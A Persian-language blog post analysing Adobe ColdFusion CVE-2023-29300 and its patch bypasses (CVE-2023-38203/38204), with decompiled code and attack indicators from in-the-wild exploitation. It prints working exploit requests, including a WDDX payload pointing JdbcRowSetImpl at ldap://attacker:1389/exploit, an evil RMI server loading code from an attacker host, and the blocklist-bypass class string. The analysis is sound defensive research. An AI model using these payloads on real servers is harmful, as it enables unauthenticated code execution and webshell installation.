همونطور که در این پست اشاره کرده بودیم، Adobe اخیرا یسری آسیب پذیری بحرانی رو در ColdFusion اصلاح کرده . یکی از این آسیب پذیری ها، CVE-2023-29300 بود که امکان اجرای کد بدون احرازهویت رو برای مهاجم راه دور فراهم میکرد. آسیب پذیری نسخه های 2018 و 2021 و 2023 رو تحت تاثیر قرار میداد. در این پست به بررسی و آنالیز این آسیب پذیری و حملاتی که باهاش انجام شده، پرداختیم.
قبلا از اینکه ادامه مقاله داشته باشیم، یه مروری روی آسیب پذیری های اخیر میندازیم:
- آسیب پذیری CVE-2023-29298 : آسیب پذیری امکان دور زدن ویژگی های امنیتی رو فراهم می کرد. شدت بحرانی و امتیاز 7.5 داره. در این پست هم بررسی کردیم. 11 جولای انتشار و اصلاح شده. اکسپلویت شده.
- آسیب پذیری CVE-2023-29300 : آسیب پذیری امکان اجرای کد از راه دور میده و از نوع Deserialization of Untrusted Data هستش. شدت بحرانی و امتیاز 9.8 داره. 11 جولای انتشار و اصلاح شده.
- آسیب پذیری CVE-2023-29301 : آسیب پذیری امکان دور زدن ویژگی های امنیتی رو فراهم میکنه . شدت مهم و امتیاز 5.9 داره. 11 جولای افشاء و اصلاح شده.
- آسیب پذیری CVE-2023-38203 : آسیب پذیری امکان اجرای کد دلخواه رو میده. شدت بحرانی و امتیاز 9.8 داره. 14 جولای افشاء و اصلاح شده. اکسپلویت شده.
- آسیب پذیری CVE-2023-38204 : آسیب پذیری امکان اجرای کد دلخواه رو میده. شدت بحرانی و امتیاز 9.8 داره. 19 جولای افشاء و اصلاح شده.
- آسیب پذیری CVE-2023-38205 : آسیب پذیری امکان دور زدن ویژگی های امنیتی رو میده. شدت بحرانی و امتیاز 7.5 داره. 19 جولای افشاء و اصلاح شده. اکسپلویت شده.
- آسیب پذیری CVE-2023-38206 : آسیب پذیری امکان دور زدن ویژگی های امنیتی رو میده. شدت اون متوسط و امتیاز 5.3 داره. 19 جولای افشاء و اصلاح شده.
در حال حاضر نسخه اصلاح شده که همه رو اصلاح میکنه :
Product |
Updated Version |
Platform |
Priority rating |
Availability |
---|---|---|---|---|
ColdFusion 2023 |
Update 3 |
All |
1 |
|
ColdFusion 2021 |
Update 9 |
All |
1 |
|
ColdFusion 2018 |
Update 19 |
All |
1 |
بررسی اصلاحیه:
محققا برای آنالیز از روش Patch Diff استفاده کردن. یعنی نسخه آسیب پذیر رو با نسخه اصلاح شده بررسی کردن و جاهایی که تغییر کرده ، مثلا حذف شده یا اضافه شده یا دستکاری شده رو ، مقایسه کردن تا به منطق آسیب پذیری برسن. برای اینکار از نسخه آسیب پذیر Adobe ColdFusion 2021 update 6 و نسخه Adobe ColdFusion 2021 update 7 که اصلاح شده ، استفاده کردن.
برای مقایسه از git diff استفاده کردن و متوجه شدن که فایل coldfusion.wddx.DeserializerWorker.java شامل تغییرات زیادی هستش:
این یه WDDX packet deserializer از نوع XML هستش. WDDX یا Web Distributed Data eXchange هم یه نوع XML vocabulary هستش. XML vocabulary عناصری هستن که در برنامه های کاربردی یا فرمت داده ای خاص برای مشخص کردن معانی اون فرمتها، مورد استفاده قرار میگیرن. مثلا در CDF نام عناصری مانند <SCHEDULE> و <CHANNEL> و <ITEM> واژگانی (vocabulary) برای توصیف مجموعهای از صفحاتی که باید دانلود بشن و غیره رو تشکیل میدن.
همونطور که گفتیم WDDX یه نوع XML vocabulary هستش که در coldfusion برای توصیف ساختارهای داده پیچیده در یه روش استاندارد و عمومی استفاده میشه. پیاده سازی اون به شما این امکان رو میده که از پروتکل HTTP برای انتقال اطلاعات در بین پلتفرمهای سرور برنامه ، سرورهای برنامه و مرورگر استفاده کنید. در کل کارش اینه که داده ها رو بین محیط های مختلف منتقل کنه.
اگه برگردیم به شکل بالا متوجه میشیم که در داخل DeserializerWorker و متد startElement یه اعتبارسنجی جدید از طریق validateWddxFilter برای عنصر struct اضافه شده .
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
public void startElement(String name, AttributeList atts) throws SAXException { try { ... if (name.equalsIgnoreCase("struct") && atts.getType(0) != null) { validateWddxFilter(atts); } ... } catch (WddxDeserializationException e) { throwSAXException(e); } } private void validateWddxFilter(AttributeList atts) throws InvalidWddxPacketException { String attributeType = atts.getValue("type"); validateBlockedClass(attributeType); } private void validateBlockedClass(String attributeType) throws InvalidWddxPacketException { if (attributeType != null && !attributeType.toLowerCase().startsWith("coldfusion") && !attributeType.equalsIgnoreCase(StructTypes.ORDERED.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.CASESENSITIVE.getValue()) && !attributeType.equalsIgnoreCase(StructTypes.ORDEREDCASESENSITIVE.getValue()) && WddxFilter.invoke(attributeType)) { throw new InvalidWddxPacketException(); } } |
عنصر struct حالا یه بررسی برای ویژگی type انجام میده تا مطمئن بشه که className با coldfusion شروع میشه و یسری بررسی های دیگه رو هم انجام میده. تابع validateBlockedClass نشون میده که یه fully qualified class name (FQCN) بعنوان ویژگی type ارسال میشه. بنابراین میشه در نظر گرفت که آسیب پذیری در validateWddxFilter هستش.
تجزیه WDDX Packet :
با توجه به مطالب بالا، محققا رفتن سراغ WDDX Packet ها و اطلاعاتی از ساختار و نحوه کارشون بدست آوردن. هر عنصر WDDX مربوط به یه کنترل کننده خاصی هستن. مثلا struct توسط StructHandler مدیریت میشه. با توجه به اینکه تغییرات در عنصر struct صورت گرفته، بنابراین محققا رفتن سراغ تجزیه WDDX struct .
1 |
<wddxPacket version='1.0'><header/><data><struct type='className'><var name='prop_name'><string>prop_value</string></var></struct></data></wddxPacket> |
محققا از طریق مهندسی معکوس، نحوه تجزیه این ساختارهارو درک کردن. در این بررسی متوجه شدن که Java reflection ها بصورت گسترده در بلوکهای کد خاصی استفاده شدن، که نشون میده ورودی کاربر تحت reflection invocation هستش.
reflection یه کلاسی در جاوا هستش که امکان میده در موقع اجرا اطلاعاتی از ساختارهایی مانند کلاس، متد ، فیلد، اینترفیس و … بدست بیاریم و حتی بتونیم اونارو تغییر بدیم. برای مثال قطعه کد زیر در نظر بگیرید :
1 2 3 4 5 6 7 8 9 10 11 |
public class ReflectionGame { private boolean challengeDone = false; public void CheckChallenge(){ if(challengeDone) System.out.println("Challenge Done :D"); else System.out.println("Try again :("); } } |
ما یه برنامه داریم بنام ReflectionGame ، که میاد مقدار challengeDone رو بررسی میکنه ، اگه مقدار برابر true باشه که برنده هستیم، اما اگه false باشه ، چالش رو باید تکرار کنیم. خب مسلما برای اینکه بتونیم این چالش رو برنده بشیم باید مقدار challengeDone رو برابر true قرار بدیم.
یکی از روشهایی که میشه اینکار کرد استفاده از Reflection هستش. برای اینکار ما از کد زیر استفاده میکنیم :
1 2 3 4 5 6 7 8 9 10 11 12 13 |
ReflectionGame reflectionGame = new ReflectionGame(); Class reflectionGameClass = reflectionGame.getClass(); Field challengeDone = null; try { challengeDone = reflectionGameClass.getDeclaredField("challengeDone"); } catch (NoSuchFieldException ignored) { } if (challengeDone != null) { challengeDone.setAccessible(true); try { challengeDone.set(reflectionGame, true); } catch (IllegalAccessException ignored) { } } reflectionGame.CheckChallenge(); |
در خط 1و2 ما دنبال کلاس مد نظرمون هستیم که اینجا ReflectionGame هستش، این قدم اول ما. در قدم بعدی داخل این کلاس دنبال اون عنصری هستیم که میخواییم تغییر بدیم. این کار در خطوط 3 تا 6 انجام شده. خب حالا ما کلاس و اون عنصرمون رو داریم، اما چون عنصر مد نظر ما از نوع private هستش، باید دسترسی به اونو آزاد کنیم. این کار توسط خط 8 انجام میشه. در نهایت از طریق خط 10 مقدار اونو true میکنیم.
در مثال بالا ما از Reflection استفاده کردیم و اون تغییری که دادیم در حقیقت reflection invocation بود که امکان دسترسی یا تغییر یه فیلد یا فراخونی متد رو میده.
اگه برگردیم به آسیب پذیری خودیم، جریان کد زیر فرایند جالب تجزیه رو نشون میده :
1 |
onEndElement() -> getClassBySignature() -> setBeanProperties() |
پیدا کردن Sink :
در متد onEndElement ، یه بررسی روی فیلد m_strictType انجام میشه . این فیلد قبلا ،در صورتیکه ویژگی type در عنصر struct در WDDX packet ارائه شده باشه، مقداری رو میگیره. در کد هم میبینید که مقدار اون رو با null بررسی میکه.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
public void onEndElement() throws WddxDeserializationException { if (this.m_strictType == null) { setTypeAndValue(this.m_ht); return; } try { Class beanClass = getClassBySignature(this.m_strictType); Object bean = beanClass.getDeclaredConstructor(new Class[0]).newInstance(new Object[0]); setBeanProperties(bean, this.m_ht); setTypeAndValue(bean); } catch (Exception e) { ... } } |
اگه بررسی اوکی بود، getClassbySignature فراخوانی میشه. این تابع از reflection برای بدست آوردن یه نمونه کلاس استفاده میکنه. پارامتر اون m_strictType هستش که یه ورودی تحت کنترل کاربر هستش . از اسم تابع ، کاراکتر اول و آخر حذف میکنه ، احتمالا به این دلیل که انتظار داره ورودی به فرم LclassName باشه.
1 2 3 4 5 6 7 8 9 |
private static Class getClassBySignature(String jniTypeSig) throws ClassNotFoundException { char c = jniTypeSig.charAt(0); switch (c) { ... default: String className = jniTypeSig.substring(0 + 1, jniTypeSig.length() - 1); return Class.forName(className); } } |
بعد از اینکه نام کلاس مورد نظر بدست آوردیم، از reflection برای دسترسی به سازنده کلاس، بخصوص سازنده بدون آرگومان، استفاده میکنه و یه نمونه از کلاس می سازه. در ادامه این نمونه همراه با فیلد m_ht که قابل کنترل توسط کاربر و دارای متغیرهای WDDX هستش، به setBeanProperties ارسال میشه.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
private void setBeanProperties(Object bean, Map props) throws WddxDeserializationException { Hashtable descriptors; try { BeanInfo beanInfo = Introspector.getBeanInfo(bean.getClass(), Object.class); PropertyDescriptor[] descriptorArray = beanInfo.getPropertyDescriptors(); descriptors = new Hashtable(); for (int i = 0; i < descriptorArray.length; i++) { descriptors.put(descriptorArray[i].getName(), descriptorArray[i]); } } catch () { ... } for (String propName : props.keySet()) { Object propValue = props.get(propName); IndexedPropertyDescriptor indexedPropertyDescriptor = (PropertyDescriptor) descriptors.get(propName); if (indexedPropertyDescriptor != null) { if (indexedPropertyDescriptor instanceof IndexedPropertyDescriptor) { ... } else { Method method2 = indexedPropertyDescriptor.getWriteMethod(); if (method2 != null) { try { Class[] types2 = method2.getParameterTypes(); Object value2 = ObjectConverter.convert(propValue, types2[0]); method2.invoke(bean, value2); } catch () { ... } } } ... } } } |
در تابع بالا، متد getPropertyDescriptors در BeanInfo یه آرایه ای از اشیای PropertyDescriptor برمیگردونه. هر PropertyDescriptor یه خاصیت از bean رو نشون میده و حاوی اطلاعاتی در مورد نام ویژگی، نوع داده ای و متدهای getter/setter هستش. در نهایت شاهد استفاده از IndexedPropertyDescriptor هستیم که دارای getReadMethod و getWriteMethod هستش که به ترتیب عمل getter و setter رو انجام میدن.
در کد بالا اگه متد getWriteMethod که بعنوان setter هستش اجرا بشه، یه مقداری رو برمیگردونه که در method2 ریخته میشه. در ادامه یسری متغیر رو مقداردهی میکنه و در نهایت از طریق Java Reflection میاد و bean بهمراه متغیرها فراخوانی میکنه. متغیرها از WDDX packet میان و قابل کنترل توسط کاربر هستن.
یه خلاصه اگه داشته باشیم اینه که ، ما یه آسیب پذیری رو شناسایی کردیم که در اون یه متد از یه کلاس رو در یه شرایط خاصی ،میتونیم فراخونی کنیم :
- کلاس باید یه سازنده عمومی و بدون آرگومان داشته باشه.
- متد باید یه setter باشه که شروع نامش با set باشه.
- متد setter فقط یه آرگومان بگیره.
اینجا ما sink آسیب پذیر رو شناسایی کردیم و حالا باید دنبال یه منبع بدون احرازهویت برای این sink باشیم.
پیدا کردن منبع:
محققا با دیکامپایل WddxDeserializer، تونستن یه ارجاع به WddxDeserializer در کلاس FilterUtils رو کشف کنن.
1 2 3 4 5 |
public static Object WDDXDeserialize(String str) throws Throwable { WddxDeserializer deserializer = new WddxDeserializer(); InputSource source = new InputSource(new StringReader(str)); return deserializer.deserialize(source); } |
بطور خاص داخل متد GetArgumentCollection استفاده میشه. این متد محتوای درخواست بعنوان ورودی میگیره و پارامتر argumentCollection رو از هر فرم یا کوئری استخراج میکنه. در ادامه بررسی میکنه که آیا این داده های بدست اومده از نوع JSON هستش یا نه. اگه نباشه فرایند Deserialization بعنوان WDDX packet ، با فراخونی WDDXDeserialize انجام میگیره.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
public static Map GetArgumentCollection(FusionContext context) throws Throwable { Struct argumentCollection; HttpServletRequest httpServletRequest = context.request; String attr = (String) context.pageContext.findAttribute("url.argumentCollection"); if (attr == null) { attr = (String) context.pageContext.findAttribute("form.argumentCollection"); } if (attr == null) { argumentCollection = new Struct(); } else { String attr2 = attr.trim(); if (attr2.charAt(0) == '{') { argumentCollection = (Struct) JSONUtils.deserializeJSON(attr2); } else { argumentCollection = (Struct) WDDXDeserialize(attr2); // Call to vulnerable Sink here } } |
با مطالعه ای که انجام دادن و بررسی آسیب پذیری های دیگه، متوجه شدن که نیاز به یه نقطه پایایی CFC دارن. بطور کلی باید یه نقطه پایانی CFC پیدا کنن که قبل از احرازهویت ، GetArgumentCollection رو فراخونی کنه و در ادامه sink آسیب پذیر ما یعنی WDDXDeserialize رو فراخونی کنه. این ویژگی ها در /CFIDE/adminapi/accessmanager.cfc
هستش. البته میشه این آسیب پذیری رو با CVE-2023-29298 هم ترکیب کرد.
درخواست نمونه برای دسترسی به WDDX StructHandler ، بصورت زیر هستش :
1 2 3 4 5 6 7 8 9 10 11 |
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2 Host: localhost Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 275 argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xclassNamex'><var name='VERSION'><string>1.0.0</string></var></struct></data></wddxPacket> |
برای بررسی و تایید ، یه دیباگر JVM راه اندازی و روی متد invoke یه بریک پوینت گذاشتن. برای تایید آسیب پذیری یه کلاس ساده بنام java.util.Date رو انتخاب کردن که واجد شرایط بالا هم هستش. این کلاس یه متد setter بنام setDate داره. بعدش یه WDDX packet در درخواست مطابق زیر ایجاد کردن :
1 2 3 4 5 6 7 8 9 10 11 |
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2 Host: localhost Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 275 argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xjava.util.Datex'><var name='date'><string>our_input</string></var></struct></data></wddxPacket> |
در این مرحله محققا تونستن java.util.Date.setDate(our_input) رو فراخوانی کنن. قدم بعدی اینکه بتونن با آسیب پذیری اجرای کد کنن.
تبدیل JNDI Injection به RCE :
قبل از اینکه ادامه بحث رو بریم یه نگاهی به آسیب پذیری JNDI injection بندازیم.
Java Naming and Directory Interface یا JNDI یه API جاوا هستش که امکان جستجو و مشاهده اشیاء و داده هارو از طریق نام میده. این اشیاء رو میتونیم در سرویس های مختلفی مانند Remote Method Invocation (RMI) و Common Object Request Broker Architecture (CORBA) و Lightweight Directory Access Protocol (LDAP) یا Domain Name Service (DNS) ذخیره کنیم.
بطور کلی JNDI یه API جاوا هستش که یه رشته رو بعنوان پارامتر دریافت میکنه ، اگه این پارامتر از یه منبع نامعتبر بیاد، امکان اجرای کد از راه دور با لوود یه کلاس راه دور رو فراهم میکنه. یه نمونه معروف CVE-2015-4902 هستش.
برای مثال فرض کنید برنامه آسیب پذیر زیر رو داریم :
1 2 3 4 5 |
@RequestMapping("/lookup") @Example(uri = {"/lookup?name=java:comp/env"}) public Object lookup(@RequestParam String name) throws Exception{ return new javax.naming.InitialContext().lookup(name); } |
در این برنامه در خط آخر از JNDI استفاده شده. برای اکسپلویت اون در نسخه های قبل از JDK 1.8.0_191 میتونیم یه درخواست به آدرس زیر ارسال کنیم :
1 |
/lookup/?name=ldap://127.0.0.1:1389/Object |
ما می توانیم سرور آسیب پذیر رو به آدرس کنترل شده خودمون متصل کنیم. برای راه اندازی لوود کلاس راه دور، یک سرور RMI مخرب میتونه بصورت زیر پاسخ بده:
1 2 3 4 5 6 7 8 9 10 11 12 |
public class EvilRMIServer { public static void main(String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 1097"); Registry registry = LocateRegistry.createRegistry(1097); //creating a reference with 'ExportObject' factory with the factory location of 'http://_attacker.com_/' Reference ref = new javax.naming.Reference("ExportObject","ExportObject","http://_attacker.com_/"); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Object", referenceWrapper); } } |
با توجه به اینکه ExploitObject برای سرور هدف ناشناخته هستش، bytecode اون از http://_attacker.com_/ExploitObject.class
لوود و اجرا میشه که منجر به RCE میشه.
بعد از یه آشنایی کوتاه با این تکنیک به آسیب پذیری خودمون برگردیم. محققا با بررسی بیشتر به کلاس com.sun.rowset.JdbcRowSetImpl رسیدن که واجد شرایط بوده. اگه یه آرگومان از نوع boolean به متد setAutoCommit در این کلاس ارسال کنیم، یه JNDI lookup dataSourceName انجام میشه که از طریق متد setDataSourceName مقداردهی میشه. این کشف باعث شده که محققا متوجه بشن که فراخوانی setDataSourceName بعد از setAutoCommit منجر به آسیب پذیری JNDI injection میشه.
نکته ای که هست، در حین انجام فراخوانی متدها در داخل یه حلقه for هستیم و میتونیم چندین متد رو در نمونه bean فراخوانی کنیم.
در این مرحله ما به یه آسیب پذیری JNDI injection از طریق WDDX deserialization رسیدیم که امکان اجرای کد از راه دور رو هم میده.
این درخواست میتونه بصورت زیر باشه :
1 2 3 4 5 6 7 8 9 10 11 |
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2 Host: localhost Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 275 argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcom.sun.rowset.JdbcRowSetImplx'><var name='dataSourceName'><string>ldap://attacker:1389/exploit</string></var><var name='autoCommit'><boolean value='true'/></var></struct></data></wddxPacket> |
با بررسی مسیر کلاسها ، متوجه شدن که از چندین کتابخونه از جمله commons-beanutils-1.9.4 استفاده شده. بنابراین یه پیلود ysoserial java deserialization برای commons-beanutils ایجاد کردن و اونو روی یه سرور LDAP بایند کردن. نتیجه اجرای کد دلخواه روی Adobe ColdFusion 2021 (Update 6) شده.
برای آسیب پذیری CVE-2023-29300 ، یه تمپلیت Nuclei هم توسعه داده شده که میتونید باهاش اسکن کنید :
1 |
nuclei -id CVE-2023-29300 -list coldfusion_list.txt |
Adobe علاوه بر این آسیب پذیری دوتا آسیب پذیری اجرای کد قبل از احرازهویت دیگه به شناسه CVE-2023-38203 و CVE-2023-38204 رو هم اصلاح کرده که یه روش برای دور زدن اصلاحیه این آسیب پذیری بودن.
حاشیه های این آسیب پذیری:
محققای projectdiscovery این آسیب پذیری رو در قالب یه مقاله در 12 جولای منتشر کردن اما بعد از یه مدتی اونو برداشتن. داستان اینجوری بوده که اینا اولش یه کلاس بنام com.sun.rowset.JdbcRowSetImpl پیدا کردن که پتانسیل اجرای کد از راه دور داشته و در blacklist/denylist هم نبوده. در نتیجه با فرض اینکه دارن یه nday رو توضیح میدن، یه زیرودی رو افشاء کرده بودن. بعد این قضیه Adobe باهاشون تماس میگیره و میگه که بصورت موقت پست انتشار ندید.
Adobe یه بروزرسانی انجام داد که این کلاس رو در لیست سیاه قرار میده که این رو هم محققای projectdiscovery با CVE-2023-38203 دور زدن.
نکته ای که هست اکسپلویت محققای projectdiscovery حتی بعد از انتشار اصلاحیه CVE-2023-38203 هم کار میکرده. در نتیجه اومدن بررسی کردن و متوجه شدن که دور زدن اونا محدود به کلاسی که در لیست سیاه هستش نیست، بلکه اعتبارسنجی تابع بلک لیست رو دور زدن. در نتیجه Adobe این رو هم با شناسه CVE-2023-38204 ، اصلاح کرده.
مشکل اصلاحیه چی بوده
اما مشکل بروزرسانی Adobe چی بوده. مشکلشون در فرایند تطابق فیلترشون بوده. وقتی ورودی به صورت زیر باشه :
1 |
Lcom.sun.rowset.JdbcRowSetImpl; |
تطابق درسته و پیلود بلاک میشه. چون فیلتر انتظار کاراکترهای L و ; رو داره و اونارو با کاراکتر خالی جایگزین میکنه. اما اگه ورودی بصورت زیر باشه ، تطابق صورت نمیگیره و پیلود مسدود نمیشه :
1 |
Xcom.sun.rowset.JdbcRowSetImplX |
در DeserializationWorker :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
private void validateWddxFilter(AttributeList atts) { String attributeType = atts.getValue("type"); if (attributeType.endsWith(";")) { attributeType = attributeType.replace(";", ""); } if (attributeType.startsWith("L")) { String attributeTypeCopy = attributeType; validateBlockedClass(attributeTypeCopy.replaceFirst("L", "")); } validateBlockedClass(attributeType); } private void validateBlockedClass(String attributeType) { if (attributeType != null && !attributeType.toLowerCase().startsWith("coldfusion") && ... && WddxFilter.invoke(attributeType)) { throw new InvalidWddxPacketException(); } } |
در StructHandler :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
private static Class getClassBySignature(String jniTypeSig) { char c = jniTypeSig.charAt(0); switch (c) { ... case 'E': case 'G': case 'H': case 'K': case 'L': case 'M': case 'N': case 'O': case 'P': case 'Q': case 'R': case 'T': case 'U': case 'V': case 'W': case 'X': case 'Y': default: String className = jniTypeSig.substring(0 + 1, jniTypeSig.length() - 1); return Class.forName(className); ... } } |
اگرچه Xcom.sun.rowset.JdbcRowSetImplX یه نام کلاس معتبر نیستش، اما با توجه به اینکه قبل از استفاده از کلاس، فرایند substring رو انجام میدن و کاراکتر ابتدایی و انتهایی رو حذف میکنن، اونو معتبر میکنن. با این حال در حین بررسی ، اونو با “X<class name>X ” بررسی میکنن که دقیقا با <class name> فیلترشده مطابقت نداره. این ناهنمانگی در فرایند فیلتر کردن، منجر به دور زدن آسیب پذیری میشه.
محققا اعلام کردن که قصدشون هرگز انتشار یه اکسپلویت زیرودی یا آسیب رساندن به مشتریان ColdFusion نبوده . هدفشون به اشتراک گذاشتن اطلاعات در مورد یه آسیبپذیری اصلاح شده ، افزایش آگاهی و ارائه یه تمپلیت Nuclei برای سازمانها برای شناسایی آسیبپذیری در داراییهاشون بوده.
حمله هکرها با CVE-2023-29300 :
محققای rapid7 در خصوص نحوه اکسپلویت این آسیب پذیری توسط مهاجمین، گزارشی منتشر کردن . در این گزارش اومده که در لاگ IIS یسری درخواست POST به accessmanager.cfc مشاهده کرده مطابق درخواست زیر که در گزارش projectdiscovery اومده :
در ادامه هکرها یه دستور انکد شده پاورشل رو روی نقطه پایانی اجرا میکنن تا یه وب شل رو بمنظور دسترسی به نقطه پایانی ایجاد کنه. این وب شل معمولا در مسیر "\wwwroot\CFIDE directory"
هستش :
1 |
.\ColdFusion11\cfusion\wwwroot\CFIDE\ckeditr.cfm |
همچنین یسری دستورات cURL رو هم به Burpsuite URL زیر و دستور nltest /domain_trusts روی domain controller رو مشاهده کردن :
1 |
hXXp://rlgt1hin2gdk2p3teyhuetitrkxblg95.oastify[.]com |
IOCهای گزارش :
IP addresses:
62.233.50[.]13
5.182.36[.]4
195.58.48[.]155
Domains:
- oastify[.]com
- ckeditr[.]cfm (SHA256 08D2D815FF070B13A9F3B670B2132989C349623DB2DE154CE43989BB4BBB2FB1)
منابع